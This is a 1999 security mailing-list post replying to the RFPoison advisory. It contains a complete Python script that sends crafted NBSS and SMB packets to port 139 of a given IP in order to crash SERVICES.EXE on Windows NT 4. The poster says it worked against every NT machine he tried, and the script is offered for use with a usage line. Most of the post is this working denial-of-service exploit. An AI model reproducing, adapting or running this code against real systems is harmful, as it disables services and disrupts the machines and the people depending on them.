Re: RFP9906 - Services.exe DoS in NT 4 (RFPoison)

[nascheme () ENME UCALGARY CA (nascheme () ENME UCALGARY CA)]

On Mon, Nov 01, 1999 at 08:07:46AM -0600, .rain.forest.puppy. wrote:
> Of course, I'm sure this program will be reversed and a new
> version made within 6 hours of posting--but that's not my
> problem.

Well, it's about 6 hours since I received rfp's advisory.  I
didn't do much of a reverse engineering job but maybe someone
will find this useful for testing other exploits along the same
line.

The Python code should be portable.  I don't have much of a clue
about SMB messages.  Maybe someone can make it more generic.  It
works against all the NT machines I tried (probably all SP5).  I
don't think it works against Win95/98.

You may have to run the exploit multiple times before
SERVICES.EXE dies.  I think this happens with rfp's exploit as
well.  It is hard to test with the machine rebooting all the
time.:)

  nas


#!/usr/bin/env python
#
# Services.exe DoS
# hard work done by: rfp () wiretrip net
# Python hack by: nas () adler dynodns net
#
# This only seems to work on NT.  Also, it may have to be run multiple times
# before SERVICES.EXE will die.  Improvements welcome.
#
# Usage: rfpoison.py <ip address>

import string
import struct
from socket import *
import sys

def a2b(s):
    bytes = map(lambda x: string.atoi(x, 16), string.split(s))
    data = string.join(map(chr, bytes), '')
    return data

def b2a(s):
    bytes = map(lambda x: '%.2x' % x, map(ord, s))
    return string.join(bytes, ' ')

# NBSS session request
nbss_session = a2b("""
    81 00  00 48 20 43 4b 46 44 45
    4e 45 43 46 44 45 46 46  43 46 47 45 46 46 43 43
    41 43 41 43 41 43 41 43  41 43 41 00 20 45 48 45
    42 46 45 45 46 45 4c 45  46 45 46 46 41 45 46 46
    43 43 41 43 41 43 41 43  41 43 41 41 41 00 00 00
    00 00
    """)

# SMB stuff
crud = (
    # SMBnegprot Request
    """
    ff 53 4d 42 72 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 00  01 00 00 81 00 02 50 43
    20 4e 45 54 57 4f 52 4b  20 50 52 4f 47 52 41 4d
    20 31 2e 30 00 02 4d 49  43 52 4f 53 4f 46 54 20
    4e 45 54 57 4f 52 4b 53  20 31 2e 30 33 00 02 4d
    49 43 52 4f 53 4f 46 54  20 4e 45 54 57 4f 52 4b
    53 20 33 2e 30 00 02 4c  41 4e 4d 41 4e 31 2e 30
    00 02 4c 4d 31 2e 32 58  30 30 32 00 02 53 61 6d
    62 61 00 02 4e 54 20 4c  41 4e 4d 41 4e 20 31 2e
    30 00 02 4e 54 20 4c 4d  20 30 2e 31 32 00
    """,

    # SMBsessetupX Request
    """
    ff 53 4d 42 73 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 00  01 00 0d ff 00 00 00 ff
    ff 02 00 f4 01 00 00 00  00 01 00 00 00 00 00 00
    00 00 00 00 00 17 00 00  00 57 4f 52 4b 47 52 4f
    55 50 00 55 6e 69 78 00  53 61 6d 62 61 00
    """,

    # SMBtconX Request
    """
    ff 53 4d 42 75 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 08  01 00 04 ff 00 00 00 00
    00 01 00 17 00 00 5c 5c  2a 53 4d 42 53 45 52 56
    45 52 5c 49 50 43 24 00  49 50 43 00
    """,

    # SMBntcreateX request
    """
    ff 53 4d 42 a2 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 18 ff 00 00 00 00
    07 00 06 00 00 00 00 00  00 00 9f 01 02 00 00 00
    00 00 00 00 00 00 00 00  00 00 03 00 00 00 01 00
    00 00 00 00 00 00 02 00  00 00 00 08 00 5c 73 72
    76 73 76 63 00
    """,

    # SMBtrans Request
    """
    ff 53 4d 42 25 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 10 00 00 48 00 00
    00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
    00 48 00 4c 00 02 00 26  00 00 08 51 00 5c 50 49
    50 45 5c 00 00 00 05 00  0b 00 10 00 00 00 48 00
    00 00 01 00 00 00 30 16  30 16 00 00 00 00 01 00
    00 00 00 00 01 00 c8 4f  32 4b 70 16 d3 01 12 78
    5a 47 bf 6e e1 88 03 00  00 00 04 5d 88 8a eb 1c
    c9 11 9f e8 08 00 2b 10  48 60 02 00 00 00
    """,

    # SMBtrans Request
    """
    ff 53 4d 42 25 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 10 00 00 58 00 00
    00 58 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
    00 58 00 4c 00 02 00 26  00 00 08 61 00 5c 50 49
    50 45 5c 00 00 00 05 00  00 03 10 00 00 00 58 00
    00 00 02 00 00 00 48 00  00 00 00 00 0f 00 01 00
    00 00 0d 00 00 00 00 00  00 00 0d 00 00 00 5c 00
    5c 00 2a 00 53 00 4d 00  42 00 53 00 45 00 52 00
    56 00 45 00 52 00 00 00  00 00 01 00 00 00 01 00
    00 00 00 00 00 00 ff ff  ff ff 00 00 00 00
    """
)
crud = map(a2b, crud)

def smb_send(sock, data, type=0, flags=0):
    d = struct.pack('!BBH', type, flags, len(data))
    #print 'send:', b2a(d+data)
    sock.send(d+data)

def smb_recv(sock):
    s = sock.recv(4)
    assert(len(s) == 4)
    type, flags, length = struct.unpack('!BBH', s)
    data = sock.recv(length)
    assert(len(data) == length)
    #print 'recv:', b2a(s+data)
    return type, flags, data

def nbss_send(sock, data):
    sock.send(data)

def nbss_recv(sock):
    s =  sock.recv(4)
    assert(len(s) == 4)
    return s

def main(host, port=139):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(host, port)
    nbss_send(s, nbss_session)
    nbss_recv(s)
    for msg in crud[:-1]:
        smb_send(s, msg)
        smb_recv(s)
    smb_send(s, crud[-1]) # no response to this
    s.close()

if __name__ == '__main__':
    print 'Sending poison...',
    main(sys.argv[1])
    print 'done.'